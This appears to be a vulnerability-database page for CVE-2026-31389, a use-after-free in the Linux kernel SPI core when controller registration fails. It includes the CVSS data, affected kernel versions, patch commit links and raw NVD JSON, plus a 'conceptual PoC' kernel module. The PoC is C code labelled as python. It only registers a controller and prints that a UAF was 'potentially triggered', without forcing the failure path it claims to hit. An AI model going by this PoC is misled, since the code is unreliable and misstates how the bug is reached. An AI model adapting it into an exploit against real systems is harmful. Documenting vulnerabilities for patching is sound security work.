CVE-2026-31389

Description

In the Linux kernel, the following vulnerability has been resolved: spi: fix use-after-free on controller registration failure Make sure to deregister from driver core also in the unlikely event that per-cpu statistics allocation fails during controller registration to avoid use-after-free (of driver resources) and unclocked register accesses.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < commit 0e23f50086da7d0b183dfeac26021acfcdee086b

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-31389
 * Triggering the SPI controller registration failure path.
 */

#include <linux/module.h>
#include <linux/spi/spi.h>
#include <linux/platform_device.h>

static struct platform_device *pdev;

static int __init poc_init(void)
{
    struct spi_controller *ctlr;
    int ret;

    // Allocate a dummy platform device if needed
    pdev = platform_device_register_simple("spi-poc", -1, NULL, 0);
    if (IS_ERR(pdev))
        return PTR_ERR(pdev);

    // Allocate SPI controller
    ctlr = spi_alloc_master(&pdev->dev, 0);
    if (!ctlr) {
        ret = -ENOMEM;
        goto err_device;
    }

    /*
     * Attempt to register the controller.
     * If per-cpu statistics allocation fails internally,
     * the controller is freed but not unregistered from the driver core,
     * leading to UAF.
     */
    ret = spi_register_controller(ctlr);

    if (ret != 0) {
        // In the vulnerable version, ctlr might be freed here but still referenced
        printk(KERN_INFO "PoC: Registration failed with %d, potential UAF triggered.\n", ret);
    }

    return 0;

err_device:
    platform_device_unregister(pdev);
    return ret;
}

static void __exit poc_exit(void)
{
    if (pdev)
        platform_device_unregister(pdev);
}

module_init(poc_init);
module_exit(poc_exit);
MODULE_LICENSE("GPL");

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31389
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31389
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31389/
[4] VulDB https://vuldb.com/cve/CVE-2026-31389
[5] https://git.kernel.org/stable/c/0e23f50086da7d0b183dfeac26021acfcdee086b
[6] https://git.kernel.org/stable/c/23b51bad2eb8787aa74324cfccefb258515ae5ba
[7] https://git.kernel.org/stable/c/6bbd385b30c7fb6c7ee0669e9ada91490938c051
[8] https://git.kernel.org/stable/c/80f3e8cd2b4ad355b2ad2024cf423f6d183404f7
[9] https://git.kernel.org/stable/c/8634e05b08ead636e926022f4a98416e13440df9
[10] https://git.kernel.org/stable/c/afe27c1f43aa57530011f419be6ddf71306565d2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31389", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:36.823", "lastModified": "2026-05-20T15:12:39.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: fix use-after-free on controller registration failure\n\nMake sure to deregister from driver core also in the unlikely event that\nper-cpu statistics allocation fails during controller registration to\navoid use-after-free (of driver resources) and unclocked register\naccesses."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.1.167", "matchCriteriaId": "E1965CA7-37DE-412B-919C-4794C1259363"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0e23f50086da7d0b183dfeac26021acfcdee086b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/23b51bad2eb8787aa74324cfccefb258515ae5ba", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6bbd385b30c7fb6c7ee0669e9ada91490938c051", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/80f3e8cd2b4ad355b2ad2024cf423f6d183404f7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8634e05b08ead636e926022f4a98416e13440df9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/afe27c1f43aa57530011f419be6ddf71306565d2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}